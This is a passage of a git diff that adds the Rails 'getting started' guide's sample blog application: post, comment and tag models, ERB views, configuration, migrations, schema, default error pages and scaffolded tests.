b/railties/guides/code/getting_started/app/models/tag.rb @@ -0,0 +1,3 @@ +class Tag < ActiveRecord::Base + belongs_to :post +end diff --git a/railties/guides/code/getting_started/app/views/comments/_comment.html.erb b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb new file mode 100644 index 0000000000..4c3fbf26cd --- /dev/null +++ b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb @@ -0,0 +1,15 @@ +<p> + <b>Commenter:</b> + <%= comment.commenter %> +</p> + +<p> + <b>Comment:</b> + <%= comment.body %> +</p> + +<p> + <%= link_to 'Destroy Comment', [comment.post, comment], + :confirm => 'Are you sure?', + :method => :delete %> +</p> diff --git a/railties/guides/code/getting_started/app/views/comments/_form.html.erb b/railties/guides/code/getting_started/app/views/comments/_form.html.erb new file mode 100644 index 0000000000..d15bdd6b59 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/comments/_form.html.erb @@ -0,0 +1,13 @@ +<%= form_for([@post, @post.comments.build]) do |f| %> + <div class="field"> + <%= f.label :commenter %><br /> + <%= f.text_field :commenter %> + </div> + <div class="field"> + <%= f.label :body %><br /> + <%= f.text_area :body %> + </div> + <div class="actions"> + <%= f.submit %> + </div> +<% end %> diff --git a/railties/guides/code/getting_started/app/views/home/index.html.erb b/railties/guides/code/getting_started/app/views/home/index.html.erb new file mode 100644 index 0000000000..bb4f3dcd1f --- /dev/null +++ b/railties/guides/code/getting_started/app/views/home/index.html.erb @@ -0,0 +1,2 @@ +<h1>Hello, Rails!</h1> +<%= link_to "My Blog", posts_path %> diff --git a/railties/guides/code/getting_started/app/views/layouts/application.html.erb b/railties/guides/code/getting_started/app/views/layouts/application.html.erb new file mode 100644 index 0000000000..7fd6b4f516 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/layouts/application.html.erb @@ -0,0 +1,14 @@ +<!DOCTYPE html> +<html> +<head> + <title>Blog</title> + <%= stylesheet_link_tag "application", :media => "all" %> + <%= javascript_include_tag "application" %> + <%= csrf_meta_tags %> +</head> +<body style="background: #EEEEEE;"> + +<%= yield %> + +</body> +</html> diff --git a/railties/guides/code/getting_started/app/views/posts/_form.html.erb b/railties/guides/code/getting_started/app/views/posts/_form.html.erb new file mode 100644 index 0000000000..e27da7f413 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/_form.html.erb @@ -0,0 +1,32 @@ +<% @post.tags.build %> +<%= form_for(@post) do |post_form| %> + <% if @post.errors.any? %> + <div id="errorExplanation"> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <ul> + <% @post.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> + <% end %> + + <div class="field"> + <%= post_form.label :name %><br /> + <%= post_form.text_field :name %> + </div> + <div class="field"> + <%= post_form.label :title %><br /> + <%= post_form.text_field :title %> + </div> + <div class="field"> + <%= post_form.label :content %><br /> + <%= post_form.text_area :content %> + </div> + <h2>Tags</h2> + <%= render :partial => 'tags/form', + :locals => {:form => post_form} %> + <div class="actions"> + <%= post_form.submit %> + </div> +<% end %> diff --git a/railties/guides/code/getting_started/app/views/posts/edit.html.erb b/railties/guides/code/getting_started/app/views/posts/edit.html.erb new file mode 100644 index 0000000000..720580236b --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/edit.html.erb @@ -0,0 +1,6 @@ +<h1>Editing post</h1> + +<%= render 'form' %> + +<%= link_to 'Show', @post %> | +<%= link_to 'Back', posts_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/index.html.erb b/railties/guides/code/getting_started/app/views/posts/index.html.erb new file mode 100644 index 0000000000..45dee1b25f --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/index.html.erb @@ -0,0 +1,27 @@ +<h1>Listing posts</h1> + +<table> + <tr> + <th>Name</th> + <th>Title</th> + <th>Content</th> + <th></th> + <th></th> + <th></th> + </tr> + +<% @posts.each do |post| %> + <tr> + <td><%= post.name %></td> + <td><%= post.title %></td> + <td><%= post.content %></td> + <td><%= link_to 'Show', post %></td> + <td><%= link_to 'Edit', edit_post_path(post) %></td> + <td><%= link_to 'Destroy', post, confirm: 'Are you sure?', method: :delete %></td> + </tr> +<% end %> +</table> + +<br /> + +<%= link_to 'New Post', new_post_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/new.html.erb b/railties/guides/code/getting_started/app/views/posts/new.html.erb new file mode 100644 index 0000000000..36ad7421f9 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/new.html.erb @@ -0,0 +1,5 @@ +<h1>New post</h1> + +<%= render 'form' %> + +<%= link_to 'Back', posts_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/show.html.erb b/railties/guides/code/getting_started/app/views/posts/show.html.erb new file mode 100644 index 0000000000..da78a9527b --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/show.html.erb @@ -0,0 +1,31 @@ +<p class="notice"><%= notice %></p> + +<p> + <b>Name:</b> + <%= @post.name %> +</p> + +<p> + <b>Title:</b> + <%= @post.title %> +</p> + +<p> + <b>Content:</b> + <%= @post.content %> +</p> + +<p> + <b>Tags:</b> + <%= join_tags(@post) %> +</p> + +<h2>Comments</h2> +<%= render @post.comments %> + +<h2>Add a comment:</h2> +<%= render "comments/form" %> + + +<%= link_to 'Edit Post', edit_post_path(@post) %> | +<%= link_to 'Back to Posts', posts_path %> | diff --git a/railties/guides/code/getting_started/app/views/tags/_form.html.erb b/railties/guides/code/getting_started/app/views/tags/_form.html.erb new file mode 100644 index 0000000000..7e424b0e20 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/tags/_form.html.erb @@ -0,0 +1,12 @@ +<%= form.fields_for :tags do |tag_form| %> + <div class="field"> + <%= tag_form.label :name, 'Tag:' %> + <%= tag_form.text_field :name %> + </div> + <% unless tag_form.object.nil? || tag_form.object.new_record? %> + <div class="field"> + <%= tag_form.label :_destroy, 'Remove:' %> + <%= tag_form.check_box :_destroy %> + </div> + <% end %> +<% end %> diff --git a/railties/guides/code/getting_started/config.ru b/railties/guides/code/getting_started/config.ru new file mode 100644 index 0000000000..ddf869e921 --- /dev/null +++ b/railties/guides/code/getting_started/config.ru @@ -0,0 +1,4 @@ +# This file is used by Rack-based servers to start the application. + +require ::File.expand_path('../config/environment', __FILE__) +run Blog::Application diff --git a/railties/guides/code/getting_started/config/application.rb b/railties/guides/code/getting_started/config/application.rb new file mode 100644 index 0000000000..e16da30f72 --- /dev/null +++ b/railties/guides/code/getting_started/config/application.rb @@ -0,0 +1,53 @@ +require File.expand_path('../boot', __FILE__) + +require 'rails/all' + +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end + +module Blog + class Application < Rails::Application + # Settings in config/environments/* take precedence over those specified here. + # Application configuration should go into files in config/initializers + # -- all .rb files in that directory are automatically loaded. + + # Custom directories with classes and modules you want to be autoloadable. + # config.autoload_paths += %W(#{config.root}/extras) + + # Only load the plugins named here, in the order given (default is alphabetical). + # :all can be used as a placeholder for all plugins not explicitly named. + # config.plugins = [ :exception_notification, :ssl_requirement, :all ] + + # Activate observers that should always be running. + # config.active_record.observers = :cacher, :garbage_collector, :forum_observer + + # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. + # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. + # config.time_zone = 'Central Time (US & Canada)' + + # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. + # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] + # config.i18n.default_locale = :de + + # Configure the default encoding used in templates for Ruby 1.9. + config.encoding = "utf-8" + + # Configure sensitive parameters which will be filtered from the log file. + config.filter_parameters += [:password] + + # Use SQL instead of Active Record's schema dumper when creating the database. + # This is necessary if your schema can't be completely dumped by the schema dumper, + # like if you have constraints or database-specific column types + # config.active_record.schema_format = :sql + + # Enable the asset pipeline + config.assets.enabled = true + + # Version of your assets, change this if you want to expire all your assets + config.assets.version = '1.0' + end +end diff --git a/railties/guides/code/getting_started/config/boot.rb b/railties/guides/code/getting_started/config/boot.rb new file mode 100644 index 0000000000..4489e58688 --- /dev/null +++ b/railties/guides/code/getting_started/config/boot.rb @@ -0,0 +1,6 @@ +require 'rubygems' + +# Set up gems listed in the Gemfile. +ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) + +require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) diff --git a/railties/guides/code/getting_started/config/database.yml b/railties/guides/code/getting_started/config/database.yml new file mode 100644 index 0000000000..51a4dd459d --- /dev/null +++ b/railties/guides/code/getting_started/config/database.yml @@ -0,0 +1,25 @@ +# SQLite version 3.x +# gem install sqlite3 +# +# Ensure the SQLite 3 gem is defined in your Gemfile +# gem 'sqlite3' +development: + adapter: sqlite3 + database: db/development.sqlite3 + pool: 5 + timeout: 5000 + +# Warning: The database defined as "test" will be erased and +# re-generated from your development database when you run "rake". +# Do not set this db to the same as development or production. +test: + adapter: sqlite3 + database: db/test.sqlite3 + pool: 5 + timeout: 5000 + +production: + adapter: sqlite3 + database: db/production.sqlite3 + pool: 5 + timeout: 5000 diff --git a/railties/guides/code/getting_started/config/environment.rb b/railties/guides/code/getting_started/config/environment.rb new file mode 100644 index 0000000000..8f728b7ce7 --- /dev/null +++ b/railties/guides/code/getting_started/config/environment.rb @@ -0,0 +1,5 @@ +# Load the rails application +require File.expand_path('../application', __FILE__) + +# Initialize the rails application +Blog::Application.initialize! diff --git a/railties/guides/code/getting_started/config/environments/development.rb b/railties/guides/code/getting_started/config/environments/development.rb new file mode 100644 index 0000000000..89932bf19b --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/development.rb @@ -0,0 +1,30 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # In the development environment your application's code is reloaded on + # every request. This slows down response time but is perfect for development + # since you don't have to restart the web server when you make code changes. + config.cache_classes = false + + # Log error messages when you accidentally call methods on nil. + config.whiny_nils = true + + # Show full error reports and disable caching + config.consider_all_requests_local = true + config.action_controller.perform_caching = false + + # Don't care if the mailer can't send + config.action_mailer.raise_delivery_errors = false + + # Print deprecation notices to the Rails logger + config.active_support.deprecation = :log + + # Only use best-standards-support built into browsers + config.action_dispatch.best_standards_support = :builtin + + # Do not compress assets + config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true +end diff --git a/railties/guides/code/getting_started/config/environments/production.rb b/railties/guides/code/getting_started/config/environments/production.rb new file mode 100644 index 0000000000..dee8acfdfe --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/production.rb @@ -0,0 +1,63 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # Code is not reloaded between requests + config.cache_classes = true + + # Full error reports are disabled and caching is turned on + config.consider_all_requests_local = false + config.action_controller.perform_caching = true + + # Disable Rails's static asset server (Apache or nginx will already do this) + config.serve_static_assets = false + + # Compress JavaScripts and CSS + config.assets.compress = true + + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH + + # Specifies the header that your server uses for sending files + # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache + # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx + + # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. + # config.force_ssl = true + + # See everything in the log (default is :info) + # config.log_level = :debug + + # Prepend all log lines with the following tags + # config.log_tags = [ :subdomain, :uuid ] + + # Use a different logger for distributed setups + # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new) + + # Use a different cache store in production + # config.cache_store = :mem_cache_store + + # Enable serving of images, stylesheets, and JavaScripts from an asset server + # config.action_controller.asset_host = "http://assets.example.com" + + # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) + # config.assets.precompile += %w( search.js ) + + # Disable delivery errors, bad email addresses will be ignored + # config.action_mailer.raise_delivery_errors = false + + # Enable threaded mode + # config.threadsafe! + + # Enable locale fallbacks for I18n (makes lookups for any locale fall back to + # the I18n.default_locale when a translation can not be found) + config.i18n.fallbacks = true + + # Send deprecation notices to registered listeners + config.active_support.deprecation = :notify +end diff --git a/railties/guides/code/getting_started/config/environments/test.rb b/railties/guides/code/getting_started/config/environments/test.rb new file mode 100644 index 0000000000..08697cbbc9 --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/test.rb @@ -0,0 +1,37 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # The test environment is used exclusively to run your application's + # test suite. You never need to work with it otherwise. Remember that + # your test database is "scratch space" for the test suite and is wiped + # and recreated between test runs. Don't rely on the data there! + config.cache_classes = true + + # Configure static asset server for tests with Cache-Control for performance + config.serve_static_assets = true + config.static_cache_control = "public, max-age=3600" + + # Log error messages when you accidentally call methods on nil + config.whiny_nils = true + + # Show full error reports and disable caching + config.consider_all_requests_local = true + config.action_controller.perform_caching = false + + # Raise exceptions instead of rendering exception templates + config.action_dispatch.show_exceptions = false + + # Disable request forgery protection in test environment + config.action_controller.allow_forgery_protection = false + + # Tell Action Mailer not to deliver emails to the real world. + # The :test delivery method accumulates sent emails in the + # ActionMailer::Base.deliveries array. + config.action_mailer.delivery_method = :test + + # Print deprecation notices to the stderr + config.active_support.deprecation = :stderr + + # Allow pass debug_assets=true as a query parameter to load pages with unpackaged assets + config.assets.allow_debugging = true +end diff --git a/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb new file mode 100644 index 0000000000..59385cdf37 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb @@ -0,0 +1,7 @@ +# Be sure to restart your server when you modify this file. + +# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. +# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } + +# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code. +# Rails.backtrace_cleaner.remove_silencers! diff --git a/railties/guides/code/getting_started/config/initializers/inflections.rb b/railties/guides/code/getting_started/config/initializers/inflections.rb new file mode 100644 index 0000000000..9e8b0131f8 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/inflections.rb @@ -0,0 +1,10 @@ +# Be sure to restart your server when you modify this file. + +# Add new inflection rules using the following format +# (all these examples are active by default): +# ActiveSupport::Inflector.inflections do |inflect| +# inflect.plural /^(ox)$/i, '\1en' +# inflect.singular /^(ox)en/i, '\1' +# inflect.irregular 'person', 'people' +# inflect.uncountable %w( fish sheep ) +# end diff --git a/railties/guides/code/getting_started/config/initializers/mime_types.rb b/railties/guides/code/getting_started/config/initializers/mime_types.rb new file mode 100644 index 0000000000..72aca7e441 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/mime_types.rb @@ -0,0 +1,5 @@ +# Be sure to restart your server when you modify this file. + +# Add new mime types for use in respond_to blocks: +# Mime::Type.register "text/richtext", :rtf +# Mime::Type.register_alias "text/html", :iphone diff --git a/railties/guides/code/getting_started/config/initializers/secret_token.rb b/railties/guides/code/getting_started/config/initializers/secret_token.rb new file mode 100644 index 0000000000..b0c8ee23c1 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/secret_token.rb @@ -0,0 +1,7 @@ +# Be sure to restart your server when you modify this file. + +# Your secret key for verifying the integrity of signed cookies. +# If you change this key, all old signed cookies will become invalid! +# Make sure the secret is at least 30 characters and all random, +# no regular words or you'll be exposed to dictionary attacks. +Blog::Application.config.secret_token = '685a9bf865b728c6549a191c90851c1b5ec41ecb60b9e94ad79dd3f824749798aa7b5e94431901960bee57809db0947b481570f7f13376b7ca190fa28099c459' diff --git a/railties/guides/code/getting_started/config/initializers/session_store.rb b/railties/guides/code/getting_started/config/initializers/session_store.rb new file mode 100644 index 0000000000..1a67af58b5 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/session_store.rb @@ -0,0 +1,8 @@ +# Be sure to restart your server when you modify this file. + +Blog::Application.config.session_store :cookie_store, key: '_blog_session' + +# Use the database for sessions instead of the cookie-based default, +# which shouldn't be used to store highly confidential information +# (create the session table with "rails generate session_migration") +# Blog::Application.config.session_store :active_record_store diff --git a/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb new file mode 100644 index 0000000000..999df20181 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb @@ -0,0 +1,14 @@ +# Be sure to restart your server when you modify this file. +# +# This file contains settings for ActionController::ParamsWrapper which +# is enabled by default. + +# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. +ActiveSupport.on_load(:action_controller) do + wrap_parameters format: [:json] +end + +# Disable root element in JSON by default. +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false +end diff --git a/railties/guides/code/getting_started/config/locales/en.yml b/railties/guides/code/getting_started/config/locales/en.yml new file mode 100644 index 0000000000..179c14ca52 --- /dev/null +++ b/railties/guides/code/getting_started/config/locales/en.yml @@ -0,0 +1,5 @@ +# Sample localization file for English. Add more files in this directory for other locales. +# See https://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points. + +en: + hello: "Hello world" diff --git a/railties/guides/code/getting_started/config/routes.rb b/railties/guides/code/getting_started/config/routes.rb new file mode 100644 index 0000000000..31f0d210db --- /dev/null +++ b/railties/guides/code/getting_started/config/routes.rb @@ -0,0 +1,64 @@ +Blog::Application.routes.draw do + resources :posts do + resources :comments + end + + get "home/index" + + # The priority is based upon order of creation: + # first created -> highest priority. + + # Sample of regular route: + # match 'products/:id' => 'catalog#view' + # Keep in mind you can assign values other than :controller and :action + + # Sample of named route: + # match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase + # This route can be invoked with purchase_url(:id => product.id) + + # Sample resource route (maps HTTP verbs to controller actions automatically): + # resources :products + + # Sample resource route with options: + # resources :products do + # member do + # get 'short' + # post 'toggle' + # end + # + # collection do + # get 'sold' + # end + # end + + # Sample resource route with sub-resources: + # resources :products do + # resources :comments, :sales + # resource :seller + # end + + # Sample resource route with more complex sub-resources + # resources :products do + # resources :comments + # resources :sales do + # get 'recent', :on => :collection + # end + # end + + # Sample resource route within a namespace: + # namespace :admin do + # # Directs /admin/products/* to Admin::ProductsController + # # (app/controllers/admin/products_controller.rb) + # resources :products + # end + + # You can have the root of your site routed with "root" + # just remember to delete public/index.html. + root :to => "home#index" + + # See how all your routes lay out with "rake routes" + + # This is a legacy wild controller route that's not recommended for RESTful applications. + # Note: This route will make all actions in every controller accessible via GET requests. + # match ':controller(/:action(/:id(.:format)))' +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb new file mode 100644 index 0000000000..d45a961523 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb @@ -0,0 +1,11 @@ +class CreatePosts < ActiveRecord::Migration + def change + create_table :posts do |t| + t.string :name + t.string :title + t.text :content + + t.timestamps + end + end +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb new file mode 100644 index 0000000000..adda8078c1 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb @@ -0,0 +1,12 @@ +class CreateComments < ActiveRecord::Migration + def change + create_table :comments do |t| + t.string :commenter + t.text :body + t.references :post + + t.timestamps + end + add_index :comments, :post_id + end +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb new file mode 100644 index 0000000000..cf95b1c3d0 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb @@ -0,0 +1,11 @@ +class CreateTags < ActiveRecord::Migration + def change + create_table :tags do |t| + t.string :name + t.references :post + + t.timestamps + end + add_index :tags, :post_id + end +end diff --git a/railties/guides/code/getting_started/db/schema.rb b/railties/guides/code/getting_started/db/schema.rb new file mode 100644 index 0000000000..9db4fbe4b6 --- /dev/null +++ b/railties/guides/code/getting_started/db/schema.rb @@ -0,0 +1,43 @@ +# encoding: UTF-8 +# This file is auto-generated from the current state of the database. Instead +# of editing this file, please use the migrations feature of Active Record to +# incrementally modify your database, and then regenerate this schema definition. +# +# Note that this schema.rb definition is the authoritative source for your +# database schema. If you need to create the application database on another +# system, you should be using db:schema:load, not running all the migrations +# from scratch. The latter is a flawed and unsustainable approach (the more migrations +# you'll amass, the slower it'll run and the greater likelihood for issues). +# +# It's strongly recommended to check this file into your version control system. + +ActiveRecord::Schema.define(:version => 20110901013701) do + + create_table "comments", :force => true do |t| + t.string "commenter" + t.text "body" + t.integer "post_id" + t.datetime "created_at" + t.datetime "updated_at" + end + + add_index "comments", ["post_id"], :name => "index_comments_on_post_id" + + create_table "posts", :force => true do |t| + t.string "name" + t.string "title" + t.text "content" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "tags", :force => true do |t| + t.string "name" + t.integer "post_id" + t.datetime "created_at" + t.datetime "updated_at" + end + + add_index "tags", ["post_id"], :name => "index_tags_on_post_id" + +end diff --git a/railties/guides/code/getting_started/db/seeds.rb b/railties/guides/code/getting_started/db/seeds.rb new file mode 100644 index 0000000000..4edb1e857e --- /dev/null +++ b/railties/guides/code/getting_started/db/seeds.rb @@ -0,0 +1,7 @@ +# This file should contain all the record creation needed to seed the database with its default values. +# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). +# +# Examples: +# +# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) +# Mayor.create(name: 'Emanuel', city: cities.first) diff --git a/railties/guides/code/getting_started/doc/README_FOR_APP b/railties/guides/code/getting_started/doc/README_FOR_APP new file mode 100644 index 0000000000..fe41f5cc24 --- /dev/null +++ b/railties/guides/code/getting_started/doc/README_FOR_APP @@ -0,0 +1,2 @@ +Use this README file to introduce your application and point to useful places in the API for learning more. +Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries. diff --git a/railties/guides/code/getting_started/lib/assets/.gitkeep b/railties/guides/code/getting_started/lib/assets/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/lib/assets/.gitkeep diff --git a/railties/guides/code/getting_started/lib/tasks/.gitkeep b/railties/guides/code/getting_started/lib/tasks/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/lib/tasks/.gitkeep diff --git a/railties/guides/code/getting_started/public/404.html b/railties/guides/code/getting_started/public/404.html new file mode 100644 index 0000000000..9a48320a5f --- /dev/null +++ b/railties/guides/code/getting_started/public/404.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>The page you were looking for doesn't exist (404)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/404.html --> + <div class="dialog"> + <h1>The page you were looking for doesn't exist.</h1> + <p>You may have mistyped the address or the page may have moved.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/422.html b/railties/guides/code/getting_started/public/422.html new file mode 100644 index 0000000000..83660ab187 --- /dev/null +++ b/railties/guides/code/getting_started/public/422.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>The change you wanted was rejected (422)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/422.html --> + <div class="dialog"> + <h1>The change you wanted was rejected.</h1> + <p>Maybe you tried to change something you didn't have access to.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/500.html b/railties/guides/code/getting_started/public/500.html new file mode 100644 index 0000000000..b80307fc16 --- /dev/null +++ b/railties/guides/code/getting_started/public/500.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>We're sorry, but something went wrong (500)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/500.html --> + <div class="dialog"> + <h1>We're sorry, but something went wrong.</h1> + <p>We've been notified about this issue and we'll take a look at it shortly.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/favicon.ico b/railties/guides/code/getting_started/public/favicon.ico new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/public/favicon.ico diff --git a/railties/guides/code/getting_started/public/robots.txt b/railties/guides/code/getting_started/public/robots.txt new file mode 100644 index 0000000000..085187fa58 --- /dev/null +++ b/railties/guides/code/getting_started/public/robots.txt @@ -0,0 +1,5 @@ +# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file +# +# To ban all spiders from the entire site uncomment the next two lines: +# User-Agent: * +# Disallow: / diff --git a/railties/guides/code/getting_started/script/rails b/railties/guides/code/getting_started/script/rails new file mode 100755 index 0000000000..f8da2cffd4 --- /dev/null +++ b/railties/guides/code/getting_started/script/rails @@ -0,0 +1,6 @@ +#!/usr/bin/env ruby +# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. + +APP_PATH = File.expand_path('../../config/application', __FILE__) +require File.expand_path('../../config/boot', __FILE__) +require 'rails/commands' diff --git a/railties/guides/code/getting_started/test/fixtures/.gitkeep b/railties/guides/code/getting_started/test/fixtures/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/.gitkeep diff --git a/railties/guides/code/getting_started/test/fixtures/comments.yml b/railties/guides/code/getting_started/test/fixtures/comments.yml new file mode 100644 index 0000000000..d33da386bf --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/comments.yml @@ -0,0 +1,11 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + commenter: MyString + body: MyText + post: + +two: + commenter: MyString + body: MyText + post: diff --git a/railties/guides/code/getting_started/test/fixtures/posts.yml b/railties/guides/code/getting_started/test/fixtures/posts.yml new file mode 100644 index 0000000000..8b0f75a33d --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/posts.yml @@ -0,0 +1,11 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + name: MyString + title: MyString + content: MyText + +two: + name: MyString + title: MyString + content: MyText diff --git a/railties/guides/code/getting_started/test/fixtures/tags.yml b/railties/guides/code/getting_started/test/fixtures/tags.yml new file mode 100644 index 0000000000..8485668908 --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/tags.yml @@ -0,0 +1,9 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + name: MyString + post: + +two: + name: MyString + post: diff --git a/railties/guides/code/getting_started/test/functional/.gitkeep b/railties/guides/code/getting_started/test/functional/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/.gitkeep diff --git a/railties/guides/code/getting_started/test/functional/comments_controller_test.rb b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb new file mode 100644 index 0000000000..2ec71b4ec5 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class CommentsControllerTest < ActionController::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/functional/home_controller_test.rb b/railties/guides/code/getting_started/test/functional/home_controller_test.rb new file mode 100644 index 0000000000..0d9bb47c3e --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/home_controller_test.rb @@ -0,0 +1,9 @@ +require 'test_helper' + +class HomeControllerTest < ActionController::TestCase + test "should get index" do + get :index + assert_response :success + end + +end diff --git a/railties/guides/code/getting_started/test/functional/posts_controller_test.rb b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb new file mode 100644 index 0000000000..b8f7b07820 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb @@ -0,0 +1,49 @@ +require 'test_helper' + +class PostsControllerTest < ActionController::TestCase + setup do + @post = posts(:one) + end + + test "should get index" do + get :index + assert_response :success + assert_not_nil assigns(:posts) + end + + test "should get new" do + get :new + assert_response :success + end + + test "should create post" do + assert_difference('Post.count') do + post :create, post: @post.attributes + end + + assert_redirected_to post_path(assigns(:post)) + end + + test "should show post" do + get :show, id: @post.to_param + assert_response :success + end + + test "should get edit" do + get :edit, id: @post.to_param + assert_response :success + end + + test "should update post" do + put :update, id: @post.to_param, post: @post.attributes + assert_redirected_to post_path(assigns(:post)) + end + + test "should destroy post" do + assert_difference('Post.count', -1) do + delete :destroy, id: @post.to_param + end + + assert_redirected_to posts_path + end +end diff --git a/railties/guides/code/getting_started/test/integration/.gitkeep b/railties/guides/code/getting_started/test/integration/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null 